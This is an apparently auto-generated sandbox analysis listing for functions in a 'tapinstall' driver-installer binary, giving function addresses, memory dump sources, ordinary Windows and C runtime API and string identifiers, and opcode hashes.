                                                                                                                  Function 00007FF7FEDD6B80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DetailDeviceDevice_Get_InfoListSetup
                                                                                                                  • String ID: %-60s: %s$%s
                                                                                                                  • API String ID: 3680031113-1339393084
                                                                                                                  • Opcode ID: c99e091277bb5b53b775382925c4bb54c33a56cc676f35083c55ea4e68d6ed99
                                                                                                                  • Instruction ID: 8c59b37e596ad5682fcca996a251af1fb7d0bf02db5b18b9d5a4d8d937cc80ce
                                                                                                                  • Opcode Fuzzy Hash: c99e091277bb5b53b775382925c4bb54c33a56cc676f35083c55ea4e68d6ed99
                                                                                                                  • Instruction Fuzzy Hash: B7216132B0968685FB20AF15E4503BAA364EFC4B84FC44135DA6D47AD4EF6CD509C7A0
                                                                                                                  Function 00007FF7FEDE53FA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Exception$DestructObject$Raise
                                                                                                                  • String ID: csm
                                                                                                                  • API String ID: 2826525264-1018135373
                                                                                                                  • Opcode ID: cc8eb6da96c197ed980eb35cf3cd2df0145045b221062dc3d4578f740a01ffa4
                                                                                                                  • Instruction ID: 72601d2e49db06ad990470713a07025e83d0bd7b7e89554991373f6b27ec75d6
                                                                                                                  • Opcode Fuzzy Hash: cc8eb6da96c197ed980eb35cf3cd2df0145045b221062dc3d4578f740a01ffa4
                                                                                                                  • Instruction Fuzzy Hash: DB213A7660864586E774EF11E05426EB760FB88BA5F810231DEAD03BE5CF3DE885CB91
                                                                                                                  Function 00007FF7FEE094F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09527
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE0954E
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE08300
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function$AddressProc
                                                                                                                  • String ID: GetProcessWindowStation$GetUserObjectInformationW
                                                                                                                  • API String ID: 1640347226-2732317663
                                                                                                                  • Opcode ID: 6f5883c30fa4d970a6b2ca5bc24385a593e52fa01d7559c029fb7798c3f6cd56
                                                                                                                  • Instruction ID: b807407e681be070dc6bea7c6babbdf234947389e542c406539247537062eba6
                                                                                                                  • Opcode Fuzzy Hash: 6f5883c30fa4d970a6b2ca5bc24385a593e52fa01d7559c029fb7798c3f6cd56
                                                                                                                  • Instruction Fuzzy Hash: 77116D21A1DA4681FB40AF25F8411B5A3A0AFC9744FC40039DA6F076E4DFBDE455C7A0
                                                                                                                  Function 00007FF7FEE090A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function
                                                                                                                  • String ID: MessageBoxW$RoInitialize
                                                                                                                  • API String ID: 2742660187-1810702038
                                                                                                                  • Opcode ID: dd70e31a59fc5cbf4f5a0b82821224db7ed2afd1b9f1bcf175a30592a1cc4cdc
                                                                                                                  • Instruction ID: 54b9f4f2bc919f894992e50dd1ee64b69f8649de38c80cd68b2bfdf409024357
                                                                                                                  • Opcode Fuzzy Hash: dd70e31a59fc5cbf4f5a0b82821224db7ed2afd1b9f1bcf175a30592a1cc4cdc
                                                                                                                  • Instruction Fuzzy Hash: E7115121F0964696FB056F41B8410B5A311EFC5790F880439DF6E0BBD5CFBCE99587A0
                                                                                                                  Function 00007FF7FEE09188 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function
                                                                                                                  • String ID: SetThreadStackGuarantee$SystemFunction036
                                                                                                                  • API String ID: 2742660187-2910880125
                                                                                                                  • Opcode ID: 82353169a2ab33f6a6eac203720c7793f9c27a950768576486ffb45298bb144f
                                                                                                                  • Instruction ID: bd63bc6adc47446c7ffa6f0d77d1b0592bd2b18c6ab74de6d9c7de7f22586dc1
                                                                                                                  • Opcode Fuzzy Hash: 82353169a2ab33f6a6eac203720c7793f9c27a950768576486ffb45298bb144f
                                                                                                                  • Instruction Fuzzy Hash: E8012111E1954691FB096F91F8410B0A311DFC8340FC80039DE7E066E1DEFCE9A583B0
                                                                                                                  Function 00007FF7FEE09448 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE09468
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE0949A
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE08300
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function$AddressProc
                                                                                                                  • String ID: GetActiveWindow$GetLastActivePopup
                                                                                                                  • API String ID: 1640347226-3742175580
                                                                                                                  • Opcode ID: 96139b02f01ac1a12e8e8bbed336b4c2bf4c2c17f5e7323450708969746c16ee
                                                                                                                  • Instruction ID: f827d5d20f12794dc16eb9d5487e9c9d0d45af797edb7c8ba4725fa95649f6d7
                                                                                                                  • Opcode Fuzzy Hash: 96139b02f01ac1a12e8e8bbed336b4c2bf4c2c17f5e7323450708969746c16ee
                                                                                                                  • Instruction Fuzzy Hash: B5F0E751E0A64781FF14BF91F8511F093929FC9761FC50439CA2E463E0EEBDA59582B0
                                                                                                                  Function 00007FF7FEE0921C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE0924C
                                                                                                                  • try_get_function.LIBVCRUNTIME ref: 00007FF7FEE0926E
                                                                                                                    • Part of subcall function 00007FF7FEE081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF7FEE08A2A,?,?,00000000,00007FF7FEE077AE,?,?,00000000,00007FF7FEE06B85), ref: 00007FF7FEE08300
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function$AddressProc
                                                                                                                  • String ID: MessageBoxA$MessageBoxW
                                                                                                                  • API String ID: 1640347226-1053882329
                                                                                                                  • Opcode ID: d25e26e93fbc0f399955a4174ee145feb3741ebe1ff497b5d2ef8bac74c6ea03
                                                                                                                  • Instruction ID: 45aeecb2c0ef8baca7aa4ce697352fee8797343bf5490306721f08fad507eeee
                                                                                                                  • Opcode Fuzzy Hash: d25e26e93fbc0f399955a4174ee145feb3741ebe1ff497b5d2ef8bac74c6ea03
                                                                                                                  • Instruction Fuzzy Hash: 75F01921A0964792FB04AF60F8814B4A360AFC6344BC4003AD66E021E5DFBCE95AC7E0
                                                                                                                  Function 00007FF7FEE1E2A8 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FilePointer$ErrorLast
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 142388799-0
                                                                                                                  • Opcode ID: 62e83ff613cf7e0c6914a0449e0ad6475a81f3d2e6a598e7b544edde691620a4
                                                                                                                  • Instruction ID: 8d865f8a2223f3e0e212c527576895df187df7aa12396362526ed208afad32e5
                                                                                                                  • Opcode Fuzzy Hash: 62e83ff613cf7e0c6914a0449e0ad6475a81f3d2e6a598e7b544edde691620a4
                                                                                                                  • Instruction Fuzzy Hash: 2A218261A0864281F710AB25B81417DF761ABC4BF0F944731EA7F47BE4DEBCD4448790
                                                                                                                  Function 00007FF7FEDD77B0 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options_invalid_parameter_noinfo_onexit_set_fmode
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2724578021-0
                                                                                                                  • Opcode ID: 59f558a869d8c5a2891d93cde5f61cf3a556da39cfb7dd89c65c92046b5ebcbe
                                                                                                                  • Instruction ID: b5dec476c185d2ce19e254abc1b27f8c39e4bd097e2bcd9475fd9f530fc02b19
                                                                                                                  • Opcode Fuzzy Hash: 59f558a869d8c5a2891d93cde5f61cf3a556da39cfb7dd89c65c92046b5ebcbe
                                                                                                                  • Instruction Fuzzy Hash: 2F11BA18E0924345FB7677B199522F991824FD4304FC40874E63D8BBC7ED6CA85182F2
                                                                                                                  Function 00007FF7FEDD2BD0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: MachineNode_$Connect_Disconnect_Locate_Reenumerate_
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 218754429-0
                                                                                                                  • Opcode ID: 51e3b3903d85c558772266e626df222a9037cd96535ea5ab3710ae0d24f20ba0
                                                                                                                  • Instruction ID: 9d9c8c7a9f1c9595fae6cb65fbfbea913e2ef9fa0fc60ff69111f5e2af50f726
                                                                                                                  • Opcode Fuzzy Hash: 51e3b3903d85c558772266e626df222a9037cd96535ea5ab3710ae0d24f20ba0
                                                                                                                  • Instruction Fuzzy Hash: 0111B721F0864282F724EF15F44056EE3A1FFC8B84F858135EAAD57E98DF2CD9058A90
                                                                                                                  Function 00007FF7FEDDAF10 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: HeapManager::getMemoryName::operator+=Name::operator=
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2929307750-0
                                                                                                                  • Opcode ID: fce481929f355538a9b42238b523bc7f3f2660cc8b7c85b8c5e9693f606264b3
                                                                                                                  • Instruction ID: 9ac94e39d067a2a5f3fe6fb6e69a3a0a7c5cdf15500ade9d2afa8abc8c63a309
                                                                                                                  • Opcode Fuzzy Hash: fce481929f355538a9b42238b523bc7f3f2660cc8b7c85b8c5e9693f606264b3
                                                                                                                  • Instruction Fuzzy Hash: F211C671A1968245FB756B30E40017DE791AB84BC0FD8C571E96D07FC5DE2DE8928391
                                                                                                                  Function 00007FF7FEE1E438 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: FilePointer$ErrorLast
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 142388799-0
                                                                                                                  • Opcode ID: 5218c0f678f2c40fbbdda99fcc7e3f762700fa66660efab7cd38c83b84687fb8
                                                                                                                  • Instruction ID: 88d1c7158fb7d617ba3bddd60fd4f0a07b7b3dc19d2f02c7d8d407a7377d09ab
                                                                                                                  • Opcode Fuzzy Hash: 5218c0f678f2c40fbbdda99fcc7e3f762700fa66660efab7cd38c83b84687fb8
                                                                                                                  • Instruction Fuzzy Hash: 38113361E0864281F720AF65B80556AF760FBC4BA4F944535EABE47EE4CEBCD4448B50
                                                                                                                  Function 00007FF7FEDF0C54 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: *
                                                                                                                  • API String ID: 3215553584-163128923
                                                                                                                  • Opcode ID: c702a447af3feb003120d3a589a2401bc16d95218c9ee08842c12031ba723851
                                                                                                                  • Instruction ID: e621684368cb4a27d227879e35a8a228eeced2d89560528fef03ff657e2b9144
                                                                                                                  • Opcode Fuzzy Hash: c702a447af3feb003120d3a589a2401bc16d95218c9ee08842c12031ba723851
                                                                                                                  • Instruction Fuzzy Hash: A071B472908692C6E778EF28906013CB7A1FB85B58F941139CA7E03ADCDF39E441C7A4
                                                                                                                  Function 00007FF7FEDF04BC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: *
                                                                                                                  • API String ID: 3215553584-163128923
                                                                                                                  • Opcode ID: 273e77a1793748d35078b520fc40068adaf46b422db4c706b51f3ef3c241a5fe
                                                                                                                  • Instruction ID: 8be0e6795b67726f513187fcf3380af49b6019300ddf5a98b94128811e96b0e7
                                                                                                                  • Opcode Fuzzy Hash: 273e77a1793748d35078b520fc40068adaf46b422db4c706b51f3ef3c241a5fe
                                                                                                                  • Instruction Fuzzy Hash: A371D77290929287E768FF28805413CB7A2EBC4B19F944139DA7A07ADDDF38D481D7E0
                                                                                                                  Function 00007FF7FEDF1190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 171COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: *
                                                                                                                  • API String ID: 3215553584-163128923
                                                                                                                  • Opcode ID: 44c1df76ee1ff000bf001b99eeb66820c451a0d8bf2018bec658e7c217c0f5f6
                                                                                                                  • Instruction ID: 80c1b665f50ee3db0637bbe82153e08f6529dd4362f5f619db6482cd2890acb3
                                                                                                                  • Opcode Fuzzy Hash: 44c1df76ee1ff000bf001b99eeb66820c451a0d8bf2018bec658e7c217c0f5f6
                                                                                                                  • Instruction Fuzzy Hash: 8A71A57290869286E764EF29804407CB7E8FB85B58F940137CA7E47EDEDF29D481C7A4
                                                                                                                  Function 00007FF7FEDF09E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: _invalid_parameter_noinfo
                                                                                                                  • String ID: *
                                                                                                                  • API String ID: 3215553584-163128923
                                                                                                                  • Opcode ID: 0377a43a123b46e862bf5f185707fa53883c6999a2b7e98940989a3650cad85b
                                                                                                                  • Instruction ID: 1cbc953ba99192d70309786ea4629a2ddf1f0b6aa9bfed71e8016d049502a296
                                                                                                                  • Opcode Fuzzy Hash: 0377a43a123b46e862bf5f185707fa53883c6999a2b7e98940989a3650cad85b
                                                                                                                  • Instruction Fuzzy Hash: DC71C5729082D286E764EF28905417DBBA2FB84B1DFD44135CA7A43ADCDF39D881C7A4
                                                                                                                  Function 00007FF7FEE00610 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEE00642
                                                                                                                    • Part of subcall function 00007FF7FEE079F8: HeapFree.KERNEL32(?,?,?,00007FF7FEE132DC,?,?,?,00007FF7FEE136FF,?,?,00000000,00007FF7FEE13F44,?,?,?,00007FF7FEE13E77), ref: 00007FF7FEE07A0E
                                                                                                                    • Part of subcall function 00007FF7FEE079F8: GetLastError.KERNEL32(?,?,?,00007FF7FEE132DC,?,?,?,00007FF7FEE136FF,?,?,00000000,00007FF7FEE13F44,?,?,?,00007FF7FEE13E77), ref: 00007FF7FEE07A20
                                                                                                                  • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7FEDD7805), ref: 00007FF7FEE00660
